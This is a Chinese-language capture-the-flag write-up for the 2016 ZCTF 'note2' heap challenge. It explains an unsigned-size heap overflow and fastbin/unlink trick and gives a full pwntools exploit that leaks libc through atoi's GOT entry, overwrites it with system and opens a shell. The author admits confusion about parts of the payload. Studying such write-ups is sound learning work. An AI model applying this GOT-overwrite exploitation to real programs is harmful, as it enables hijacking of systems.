unlink 2016_zctf_note2

  • 会飞的鱼
  • 14 Minutes
  • October 30, 2018

这一题是接触的第五个堆,已经打好腹稿了,但是突然不想写了。。明天再更新

今天好欢乐鸭!(一个冷酷的靓仔小声bb。。)

0x00 题目分析

查看程序保护机制以及分析源码

功能有:

1.分析程序发现在edit处有栈溢出,但是由于有canary所以没法直接get shell但是可以控制free的指针(delete)

2.参考了ctf wiki上的wp知道,程序会记录note的size,从而控制读取note的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,转化为无符号数就是最大的正数FFFFFFFF,可以实现堆溢出

3.根据glibc内存管理行为,程序申请内存之后,系统会分配至少0x20大小的虚拟内存,用来存储pre_size,size,fd,bk。

4.根据fastbin的机制(0x20-0x80),当free的chunk再此范围内,会先放入fastbin,不改变P,当再次申请内存时,如果大小再fsatbin的范围内,会优先分配这块内存,这样我们就有逻辑上两个挨着的chunk了,可以实现栈溢出

0x01 思路

构建三个chunk,分别是chunk0.(0x80)chunk1(0),chunk2(0x80),free( chunk1),然后new一个chunk3(0),这时候chunk3的地址实际是chunk1的地址,向chunk3填充数据可溢出到chunk2.这时候free(chunk2)就可一使chunk3向后合并,实现unlink(chunk3),从而控制chunk的指针

还有一点老阿姨的碎碎念:

1.为什么chunk0和chunk2一定要0x80大小,试验了其他长度总是失败

2.为什么payload1长度是0x61,前面说过有0x20预留给pre_size等

​ 这个可以参考fastbin的机制,一般的chunk都是双向链表,但是fastbin是单向链表,所以chunk的结构是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
分配:
*-------------------------------*
| pre_size | size |
*-------------------------------*
| |
| |
| |
*-------------------------------*
空闲:
*-------------------------------*
| pre_size | size |
*-------------------------------*
| fd | |
*---------------* |
| |
| |
*-------------------------------*

并且!!!已分配的chunk里的数据是从fd开始填充的

3.为什么payload2这样子鸭鸭鸭想不通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*-------------------------------*
| pre_size | size | chunk1
*-------------------------------*
| 0 | 0x61 | 这里在chunk1中伪造了两个chunk,
*-------------------------------* 为的是unlink的时候绕过检验
| fd | bk |
| a*0x40 |
*-------------------------------*
| 0x60 | |
*-------------------------------*

*-------------------------------*
| pre_size | size | chunk1 溢出到chunk2
*-------------------------------*
| aaaaaaaa |
| aaaaaaaa | |
*-------------------------------*
*-------------------------------*
| 0xa0 | 0x90 | chunk2
*-------------------------------*
| |
| |
| |
*-------------------------------*

0x10 exp exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

# context.log_level = 'debug'
p = process('./note2')
elf = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(size,content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)\n')
p.sendline(str(size))
p.recvuntil('content:\n')
p.sendline(content)

def show(idx):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(idx))

def edit(idx, choice, content):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:\n')
p.sendline(str(idx))
p.recvuntil('[1.overwrite/2.append]\n')
p.sendline(str(choice))
p.recvuntil('TheNewContents:')
p.sendline(content)

def delete(idx):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:\n')
p.sendline(str(idx))

p.recvuntil('name:\n')
p.sendline('1111')
p.recvuntil('address:\n')
p.sendline('2222')

head = 0x0000000000602120
fd = head - 0x18
bk = head - 0x10


payload1 = p64(0)+p64(0x61)+p64(fd)+p64(bk)+'a'*64+p64(0x60)
new(0x80, payload1)
new(0, '')
new(0x80, '')

delete(1)

payload2 = 'b'*16+p64(0xa0)+p64(0x90)
new(0, payload2)

#unlink
delete(2)

# get atoi_addr
atoi_got = elf.got['atoi']
payload3 = 'c'*0x18+p64(atoi_got)
edit(0, 1, payload3)
show(0)

#get libc_base
p.recvuntil('is ')
atoi_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
print hex(atoi_addr)
# atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']

system_addr = libc_base + libc.symbols['system']
print 'system_addr: ',hex(system_addr)
payload4 = p64(system_addr)
edit(0, 1, payload4)

p.sendline('/bin/sh')

p.interactive()